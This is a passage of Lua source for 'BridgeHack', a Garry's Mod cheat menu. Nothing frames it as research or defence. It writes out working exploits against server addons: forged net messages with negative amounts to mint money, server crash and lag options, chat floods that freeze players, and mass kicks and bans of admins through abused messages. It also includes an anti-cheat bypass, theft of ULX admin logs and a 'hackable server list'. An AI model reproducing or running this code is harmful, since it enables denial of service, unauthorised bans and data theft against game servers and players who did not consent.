\x0a\x0a\x09\x09\x09\x09net.Start( \"AttemptSellCar\" ) \x0a\x0a\x09\x09\x09\x09net.WriteInt( i, 8 ) \x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" ) \x0a\x0a\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] BAILNPC\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\")\x0a\x0a\x09\x09\x09net.Start( \"BailOut\" )\x0a\x0a\x09\x09\x09net.WriteEntity( ply )\x0a\x0a\x09\x09\x09net.WriteEntity( ply )\x0a\x0a\x09\x09\x09net.WriteFloat( -10000000000000)\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] REALISTIC ATM\",function()\x0a\x0a\x09\x09local DermaPanel = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09DermaPanel:SetPos( 100, 100 )\x0a\x0a\x09\x09DermaPanel:SetSize( 300, 200 )\x0a\x0a\x09\x09DermaPanel:SetTitle( \" \" )\x0a\x0a\x09\x09DermaPanel:SetVisible( true )\x0a\x0a\x09\x09DermaPanel:SetDraggable( true )\x0a\x0a\x09\x09DermaPanel:ShowCloseButton( true )\x0a\x0a\x09\x09function DermaPanel:Paint( w, h )\x0a\x0a\x09\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 0,160) )\x0a\x0a\x09\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09\x09draw.SimpleText( \"BridgeHack Realistic ATM Hack Menu\", \"PopupFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09DermaPanel:MakePopup()\x0a\x0a\x09\x09\x0a\x0a\x09\x09local TextEntry = vgui.Create( \"DTextEntry\", DermaPanel )\x0a\x0a\x09\x09TextEntry:SetPos( 75, 30 )\x0a\x0a\x09\x09TextEntry:SetSize( 150, 25 )\x0a\x0a\x09\x09TextEntry:SetText( \"Account num(Including the -!)\" )\x0a\x0a\x09\x09\x0a\x0a\x09\x09local BBDButton = vgui.Create( \"DButton\",DermaPanel )\x0a\x0a\x09\x09BBDButton:SetPos( 10, 120 )\x0a\x0a\x09\x09BBDButton:SetText( \"Give Money\" )\x0a\x0a\x09\x09BBDButton:SetTextColor( Color(255,255,255) )\x0a\x0a\x09\x09BBDButton:SetSize( 280, 75 )\x0a\x0a\x09\x09function BBDButton:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,255,150) )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09BBDButton.DoClick = function()\x0a\x0a\x09\x09\x09local accnumber = TextEntry:GetValue()\x0a\x0a\x09\x09\x09local moneytogive = GetConVarNumber(\"bh_ratm_money2give\")\x0a\x0a\x09\x09\x09chatP(\"Attempting to give \"..moneytogive..\"$ on Account Number: \"..accnumber)\x0a\x0a\x09\x09\x09net.Start(\"ATM_DepositMoney_C2S\")\x0a\x0a\x09\x09\x09\x09net.WriteTable({Memo =BridgeHack.RandomVar,Num=accnumber,Amount=-moneytogive})\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09local RenderDistance = vgui.Create( \"DNumSlider\", DermaPanel )\x0a\x0a\x09\x09RenderDistance:SetPos( 10, 50)\x0a\x0a\x09\x09RenderDistance:SetSize( 275, 25 )\x0a\x0a\x09\x09RenderDistance:SetText( \"Money to give\" )\x0a\x0a\x09\x09RenderDistance:SetMin( 0 )\x0a\x0a\x09\x09RenderDistance:SetMax( 500000 )\x0a\x0a\x09\x09RenderDistance:SetDecimals( 0 ) \x0a\x0a\x09\x09RenderDistance:SetConVar( \"bh_ratm_money2give\" )\x0a\x0a\x09end):SetImage(\"icon16/coins_add.png\")\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] TOW TRUCK DRIVER\",function() \x0a\x0a\x09\x09chatP(\"Giving money..\")\x0a\x0a\x09\x09for k,v in pairs(ents.GetAll()) do \x0a\x0a\x09\x09\x09status(\"Attempting to make fine\") \x0a\x0a\x09\x09\x09net.Start(\"TOW_SubmitWarning\")\x0a\x0a\x09\x09\x09\x09net.WriteString(LocalPlayer():SteamID())\x0a\x0a\x09\x09\x09\x09net.WriteDouble(-100000000000)\x0a\x0a\x09\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09net.Start(\"TOW_PayTheFine\")\x0a\x0a\x09\x09\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0alocal DARKRPBASEDSUB = menu:AddSubMenu( \"DarkRP Minging/Scripts\" )\x0a\x0a\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[ON] Dlog Lag\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_dlogs_lag\")\x0a\x0a\x09end):SetImage( \"icon16/table_error.png\" )\x0a\x0a\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[OFF] Dlog Lag\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_dlogs_lag_off\")\x0a\x0a\x09end):SetImage( \"icon16/table_add.png\" )\x0a\x0a\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"HitMenu Spam\",function()\x0a\x0a\x09\x09local ply = LocalPlayer()\x0a\x0a\x0a\x0a\x09\x09local frame = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09\x09frame:Center()\x0a\x0a\x09\x09\x09frame:SetSize( 200,150 )\x0a\x0a\x09\x09\x09frame:SetTitle( \"\" )\x0a\x0a\x09\x09\x09frame:MakePopup()\x0a\x0a\x09\x09\x09frame:ShowCloseButton( false )\x0a\x0a\x09\x09function frame:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09draw.SimpleText( \"BridgeHack Hitspam\", \"Default\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local playerMenu = vgui.Create( \"DComboBox\", frame )\x0a\x0a\x09\x09\x09playerMenu:SetPos( 10,40 )\x0a\x0a\x09\x09\x09\x09playerMenu:SetSize( 120,20 )\x0a\x0a\x09\x09\x09playerMenu:SetText( \"Select a Player\")\x0a\x0a\x09\x09for k, v in pairs( player.GetAll() ) do\x0a\x0a\x09\x09\x09playerMenu:AddChoice( tostring( v:Name() ) )\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local SpamHit = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09\x09SpamHit:SetPos( 50,70 )\x0a\x0a\x09\x09\x09SpamHit:SetSize( 100,20 )\x0a\x0a\x09\x09\x09SpamHit:SetText( \"Place Dem Hits\" )\x0a\x0a\x09\x09\x09SpamHit:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09\x09SpamHit.DoClick = function()\x0a\x0a\x09\x09local v = playerMenu:GetText()\x0a\x0a\x09\x09\x09for i=0, 4 do\x0a\x0a\x09\x09\x09ply:ConCommand('addhit \"'..v..'\" 500')\x0a\x0a\x09\x09\x09end \x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09local CrashButton = vgui.Create(\"DButton\", frame )\x0a\x0a\x09\x09\x09CrashButton:SetPos( 50,110 )\x0a\x0a\x09\x09\x09CrashButton:SetSize( 100,20 )\x0a\x0a\x09\x09\x09CrashButton:SetText( \"Crash Server\" )\x0a\x0a\x09\x09\x09CrashButton:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09\x09CrashButton.DoClick = function()\x0a\x0a\x09\x09\x09\x09chatP(\"Hitmanmenu got rekt!\")\x0a\x0a\x09\x09\x09\x09consoleP(\"Hitmanmenu got rekt\")\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09for i=0, 10 do\x0a\x0a\x09\x09\x09\x09ply:ConCommand(\"bh_hitmancrash\")\x0a\x0a\x09\x09\x09\x09end \x0a\x0a\x09\x09end\x09\x09\x09\x0a\x0a\x0a\x0a\x09\x09local Button = vgui.Create(\"DButton\", frame)\x0a\x0a\x09\x09Button:SetPos( 170, 0 )\x0a\x0a\x09\x09Button:SetSize( 30, 20 )\x0a\x0a\x09\x09Button:SetText( \"Close\" )\x0a\x0a\x09\x09Button:SetTextColor( Color( 255, 255, 255) )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color(0,0,0,200) )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09frame:Close()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local label = vgui.Create( \"DLabel\", frame )\x0a\x0a\x09\x09label:SetPos( 10,20 )\x0a\x0a\x09\x09label:SetSize( 120,20 )\x0a\x0a\x09\x09label:SetTextColor( Color(0,0,0) )\x0a\x0a\x09\x09label:SetText( \"Select Player:\" )\x0a\x0a\x09end):SetImage(\"icon16/accept.png\")\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"TP Spawn\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_tp_spawn\")\x0a\x0a\x09end):SetImage( \"icon16/cake.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[ON] Advert Spam\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_advert 1\")\x0a\x0a\x09end):SetImage( \"icon16/bell_add.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"[OFF] Advert Spam\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_advert 0\")\x0a\x0a\x09end):SetImage( \"icon16/bell_delete.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption(\"Remove looking at prop\",function()\x0a\x0a\x09\x09timer.Simple(0.1,function()\x0a\x0a\x09\x09\x09chatP(\"(This can be binded to: bh_removelookingat)\")\x0a\x0a\x09\x09\x09ply:ConCommand(\"bh_removelookingat\")\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage(\"icon16/map_delete.png\")\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[X] KUN ZIPTIES UNTIE SELF \",function() \x0a\x0a\x09\x09ply:ConCommand(\"bh_kun_ziptie_untie\")\x0a\x0a\x09end):SetImage( \"icon16/cut.png\" ) \x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"Open Armory\", function() \x0a\x0a\x09\x09chatP(\"Opening armory..\") \x0a\x0a\x09\x09ARMORY_WeaponMenu() \x0a\x0a\x09end):SetImage( \"icon16/bomb.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[ON/OFF] Spam Split Shipment / Make Shipemnt\", function()\x0a\x0a\x09\x09ply:ConCommand(\"___darkrpshipments\")\x0a\x0a\x09end):SetImage( \"icon16/cut_red.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[ON] Make everyone wanted (Cop only)\", function()\x0a\x0a\x09\x09timer.Create(\"lollol3294385\", 0.2, 0, function( )\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09\x09local ligger_type = math.random(1,13)\x0a\x0a\x09\x09\x09\x09local ligger_type1 = math.random(1,13)\x0a\x0a\x09\x09\x09\x09status(\"Attempting Want on: \" .. v:Nick() .. \" - \" .. v:SteamID())\x0a\x0a\x09\x09\x09\x09if ligger_type1 == ligger_type then\x0a\x0a\x09\x09\x09\x09\x09if last_ply == v:Nick() then\x0a\x0a\x09\x09\x09\x09\x09\x09local ligger_type = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09\x09local ligger_type1 = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09else\x0a\x0a\x09\x09\x09\x09\x09\x09ply:ConCommand(\"darkrp wanted \" .. v:Nick() .. \" \" .. math.random(1,999))\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09local last_ply = v:Nick()\x0a\x0a\x09\x09\x09\x09\x09local ligger_type = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09local ligger_type1 = math.random(1,13)\x0a\x0a\x09\x09\x09\x09\x09status(\"Force Wanting: \" .. v:Nick())\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage( \"icon16/cross.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[OFF] Make everyone wanted (Cop only)\", function()\x0a\x0a\x09\x09timer.Destroy(\"lollol3294385\")\x0a\x0a\x09\x09status(\"Stopped Want All Police\")\x0a\x0a\x09end):SetImage( \"icon16/tick.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[ON] DARKRP LAG\", function()\x0a\x0a\x09\x09ply:ConCommand(\"__bh_lagdarkrpdashit\")\x0a\x0a\x09end):SetImage( \"icon16/accept.png\" )\x0a\x0a\x09\x0a\x0a\x09DARKRPBASEDSUB:AddOption( \"[OFF] DARKRP LAG\", function()\x0a\x0a\x09\x09ply:ConCommand(\"__bh_stopplag\")\x0a\x0a\x09end):SetImage( \"icon16/cancel.png\" )\x0a\x0a\x09\x0a\x0a\x09local SpoofingMenu = menu:AddSubMenu(\"Spoofing Scripts\")\x0a\x0a\x09SpoofingMenu:AddOption( \"Spoof Player colours and physgun colours\", function()\x0a\x0a\x09\x09ply:ConCommand(\"cl_weaponcolor 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255))\x0a\x0a\x09\x09ply:ConCommand(\"cl_playercolor 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255) .. \" 0.\" .. math.random(1,255))\x0a\x0a\x09\x09status(\"Spoofed Physgun And Player Color.\")\x0a\x0a\x09end):SetImage( \"icon16/color_wheel.png\" )\x0a\x0a\x09\x0a\x0a\x09local exploitshacks = menu:AddSubMenu(\"Exploits\")\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"Bypass APAnti (Anti propkill)\",function() \x0a\x0a\x09\x09chatP(\"Bypassing Apanti..\")\x0a\x0a\x09\x09net.Receive(\"sMsgStandard\", function()\x0a\x0a\x09\x09\x09print(\"#Bypassed by HaxRUs\")\x0a\x0a\x09\x09end)\x0a\x0a\x09\x0a\x0a\x09\x09net.Receive(\"sNotifyHit\", function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09net.Receive(\"sMsgAdmins\", function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09net.Receive(\"sAlertNotice\", function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage( \"icon16/link_break.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"[NLR] [ON] Freeze Spawning\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_nlr_freeze 1\")\x0a\x0a\x09end):SetImage( \"icon16/book_error.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"[NLR] [OFF] Freeze Spawning\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_nlr_freeze 0\")\x0a\x0a\x09end):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"Steal ULX Logs ( will save to download/data/ulx_logs/\" .. os.date(\"%m-%d-%y\") .. \".txt )\", function() \x0a\x0a\x09\x09status(\"Downloading ULX LOGS\")\x0a\x0a\x09\x09if file.Exists(\"download/data/ulx_logs/\" .. os.date(\"%m-%d-%y\") .. \".txt\", \"GAME\") == \"false\" then\x0a\x0a\x09\x09\x09consoleP(\"FILE EXISTS. REMOVE THE FILE BEFORE CONTINUEING!\")\x0a\x0a\x09\x09else\x0a\x0a\x09\x09\x09RequestFile(os.date( \"data/\" .. \"ulx_logs\" .. \"/\" .. \"%m-%d-%y\" .. \".txt\" ))\x0a\x0a\x09\x09\x09chatP(\"Downloading ulx logs. OPENING \" .. os.date(\"%m-%d-%y\") .. \" IN 15 SECONDS....\")\x0a\x0a\x09\x09\x09timer.Simple( 15, function()\x0a\x0a\x09\x09\x09\x09chatP(\"Opened data/ulx_logs/\" .. os.date(\"%m-%d-%y\") .. \".txt\")\x0a\x0a\x09\x09\x09\x09consoleP(\"**********************\")\x0a\x0a\x09\x09\x09\x09consoleP(\"** SUCCESS ULX DUMP **\")\x0a\x0a\x09\x09\x09\x09consoleP(\"**********************\")\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09end ):SetImage( \"icon16/lock_break.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"[AE] KICK ADMINS+\",function()\x0a\x0a\x09\x09chatP(\"Kicking... (Will only work on admins+)\")\x0a\x0a\x09\x09timer.Create( \"aekickdaskids\", 3, 0, function()\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do \x0a\x0a\x09\x09\x09\x09if( v:GetUserGroup() != \"user\" ) then\x0a\x0a\x09\x09\x09\x09\x09if( v:GetUserGroup() != \"vip\" ) then\x0a\x0a\x09\x09\x09\x09\x09\x09for i=0, 700 do \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.Start('plyWarning') \x0a\x0a\x09\x09\x09\x09\x09\x09\x09\x09net.WriteEntity(v) \x0a\x0a\x09\x09\x09\x09\x09\x09\x09\x09net.WriteString('You have to select a player before doing a action.') \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09consoleP('Attempting to kick '.. v:Nick().. \"!\")\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09end \x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage(\"icon16/wand.png\")\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption(\"DO NO CLICK ON HERE\",function()\x0a\x0a\x09\x09chatP(\"Banning...\")\x0a\x0a\x09\x09timer.Create(BridgeHack.RandomVar..\"ulxextendedban\",1,0,function()\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do \x0a\x0a\x09\x09\x09\x09if v:GetUserGroup() != \"user\" then -- Custom first ranks, youre fucked bro\x0a\x0a\x09\x09\x09\x09\x09if v != LocalPlayer() then \x0a\x0a\x09\x09\x09\x09\x09\x09status(\"Banning.. \"..v:Nick())\x0a\x0a\x09\x09\x09\x09\x09\x09net.Start(\"banleaver\")\x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.WriteString(v:SteamID()..\"{sep}\"..\"HaxRUs Rekt You\")\x0a\x0a\x09\x09\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage(\"icon16/wand.png\")\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [ON] ATLAS CHAT: FREEZE EVERYBODY\",function() \x0a\x0a\x09\x09chatP(\"Freezing everybody.. (Except you)\")\x0a\x0a\x09\x09timer.Create(\"Imakelovetou\"..BridgeHack.RandomVar,\"3\",0, function()\x0a\x0a\x09\x09\x09local trash = \"\";\x0a\x0a\x09\x09\x09for i=0, 15000 do\x0a\x0a\x09\x09\x09\x09trash = trash .. string.char(math.random(32, 126));\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x09\x09status(\"Freeze wave incoming\")\x0a\x0a\x09\x09\x09timer.Simple(1,function()\x0a\x0a\x09\x09\x09\x09status(\"Freeze wave done\")\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x09\x09for i=0,3 do \x0a\x0a\x09\x09\x09\x09net.Start(\"atlaschat.chat\")\x0a\x0a\x09\x09\x09\x09\x09net.WriteString(\"/ \".. trash)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end) \x0a\x0a\x09end):SetImage( \"icon16/lock.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [OFF] ATLAS CHAT: FREEZE EVERYBODY\",function() \x0a\x0a\x09\x09chatP(\"Stopping the freeze..\")\x0a\x0a\x09\x09timer.Destroy(\"Imakelovetou\"..BridgeHack.RandomVar,\"3\",0, function()\x0a\x0a\x09\x09\x0a\x0a\x09\x09end) \x0a\x0a\x09end):SetImage( \"icon16/lock_open.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"[ON] ESSENTIALS ULX SPAM FRIENDS TABLE\", function() \x0a\x0a\x09\x09timer.Create(\"spamdafukFRIENDSULX\", 2, 0, function()\x0a\x0a\x09\x09\x09local friends = {}\x0a\x0a\x09\x09\x09table.insert( friends, math.random(1,9999) )\x0a\x0a\x09\x09\x09for i = 1,6000 do\x0a\x0a\x09\x09\x09\x09net.Start(\"friendlist\")\x0a\x0a\x09\x09\x09\x09net.WriteTable(friends)\x0a\x0a\x09\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09\x09status(\"PROGRESS [10000/10000]\")\x0a\x0a\x09\x09end)\x0a\x0a\x09end ):SetImage( \"icon16/script_error.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"[OFF] ESSENTIALS ULX SPAM FRIENDS TABLE\", function()\x0a\x0a\x09\x09timer.Destroy(\"spamdafukFRIENDSULX\")\x0a\x0a\x09\x09status(\"Stopped ULX SPAM FRIENDS\")\x0a\x0a\x09end):SetImage( \"icon16/script.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \"Ulx Extended TTT Weapon Spawn\", function()\x0a\x0a\x09\x09GiveMenu()\x0a\x0a\x09end):SetImage( \"icon16/book_key.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [ON] MX RADIO KICK ADMINS\",function()\x0a\x0a\x09\x09chatP(\"Kicking admins, Including anyone who isnt a user\")\x0a\x0a\x09\x09ply:ConCommand(\"bh_mx_kickadmins\")\x0a\x0a\x09\x09timer.Create( \"Kickthenoobs\"..BridgeHack.RandomVar, 3, 0, function()\x0a\x0a\x09\x09\x09for k,v in ipairs(player.GetAll()) do \x0a\x0a\x09\x09\x09\x09if( v:GetUserGroup() != \"user\" ) then \x0a\x0a\x09\x09\x09\x09\x09if v:Nick() != (ply:Nick()) then\x0a\x0a\x09\x09\x09\x09\x09\x09for i=0, 700 do \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.Start( \"GetCar\" ) \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.WriteEntity(v) \x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09net.SendToServer() \x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09chatP('Attempting to kick '.. v:Nick())\x0a\x0a\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09end \x0a\x0a\x09\x09end)\x0a\x0a\x09end):SetImage( \"icon16/wand.png\" )\x0a\x0a\x09\x0a\x0a\x09exploitshacks:AddOption( \" [OFF] MX RADIO KICK ADMINS\",function() \x0a\x0a\x09\x09chatP(\"Stopping the kicks\")\x0a\x0a\x09\x09timer.Destroy( \"Kickthenoobs\"..BridgeHack.RandomVar, 3, 0, function() end)\x0a\x0a\x09end):SetImage( \"icon16/wand.png\" )\x0a\x0a\x09\x0a\x0a\x09local Misc = menu:AddSubMenu(\" Misc \")\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"Hackable Server List\",function()\x0a\x0a\x09\x09ply:ConCommand(\"bh_serverlist\")\x0a\x0a\x09end):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"Changelog\",function()\x0a\x0a\x09\x09ChangeLogMenu()\x0a\x0a\x09end):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"List Rank - Playername - Money\",function() \x0a\x0a\x09\x09chatP( \"Check Console\\n\" )\x0a\x0a\x09\x09consoleP(\"(NAME)-(STEAMID)-(CASH)\\n\\n\\n\")\x0a\x0a\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0\x0a\x0a\x09\x09\x09if v:IsAdmin() then\x0a\x0a\x09\x09\x09\x09consoleP(\"(ADMIN!) - (\" .. v:Nick() .. \") - (\" .. v:SteamID() .. \") - ($\" .. playermoney .. \")\")\x0a\x0a\x09\x09\x09else\x0a\x0a\x09\x09\x09\x09consoleP(\"(USER) - (\" .. v:Nick() .. \") - (\" .. v:SteamID() .. \") - ($\" .. playermoney .. \")\")\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x09end):SetImage( \"icon16/text_align_center.png\" )\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"Check exploits\", function()\x0a\x0a\x09ply:ConCommand(\"bh_check\")\x0a\x0aend ):SetImage( \"icon16/book_addresses.png\" )\x0a\x0a\x09\x0a\x0a\x09Misc:AddOption( \"ClientSide Lua Viewer\",function()\x0a\x0a\x09\x09chatP(\"Opening clientside lua viewer...\")\x0a\x0a\x09\x09ply:ConCommand(\"bh_lua\")\x0a\x0a\x09end):SetImage( \"icon16/application_osx_terminal.png\" )\x0a\x0a\x09\x0a\x0a\x09if ply:SteamID() == \"STEAM_0:1:45153092\" or ply:SteamID() == \"STEAM_0:1:61639885\" then \x0a\x0a\x09\x09local DebugMenu = menu:AddSubMenu(\" Debug Settings\")\x0a\x0a\x09\x09DebugMenu:AddOption(\" Reset Default Config.\", function()\x0a\x0a\x09\x09\x09Debug(\"Resetting Cheat Variables...\")\x0a\x0a\x09\x09\x09ResetCvar(\"bh_menu_effects\", 1)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_firstload_correct\", 0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_chat_status\",0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_cheats_enabled_on_start\", 0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_cheats_svlua_enabled_on_start\", 0)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_showhud\", 1)\x0a\x0a\x09\x09\x09ResetCvar(\"bh_notify\", 1)\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09DebugMenu:AddOption(\" Debug\",function()\x0a\x0a\x09\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09\x09chatP(LocalPlayer():GetPos():Distance(v:GetPos()) .. \" | \".. v:Nick())\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09end)\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09menu:AddSpacer()\x0a\x0a\x09\x09\x0a\x0a\x09menu:AddOption( \"Config Menu\", function() \x0a\x0a\x09\x09local DermaPanel = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09DermaPanel:SetPos( 100, 100 )\x0a\x0a\x09\x09DermaPanel:SetSize( 300, 400 )\x0a\x0a\x09\x09DermaPanel:SetTitle( \" \" )\x0a\x0a\x09\x09DermaPanel:SetVisible( true )\x0a\x0a\x09\x09DermaPanel:SetDraggable( true )\x0a\x0a\x09\x09DermaPanel:ShowCloseButton( false )\x0a\x0a\x09\x09function DermaPanel:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 220) )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 22, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09\x09draw.SimpleText( \"BridgeHack Configuration Menu\", \"PopupFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0a\x09\x09local Button = vgui.Create(\"DButton\", DermaPanel)\x0a\x0a\x09\x09Button:SetPos( 250, 2 )\x0a\x0a\x09\x09Button:SetSize( 45, 19 )\x0a\x0a\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09Button:SetTextColor( Color( 255, 255, 255) )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09draw.SimpleText( \"Close\", \"HeaderFont\", 2, -2, Color( 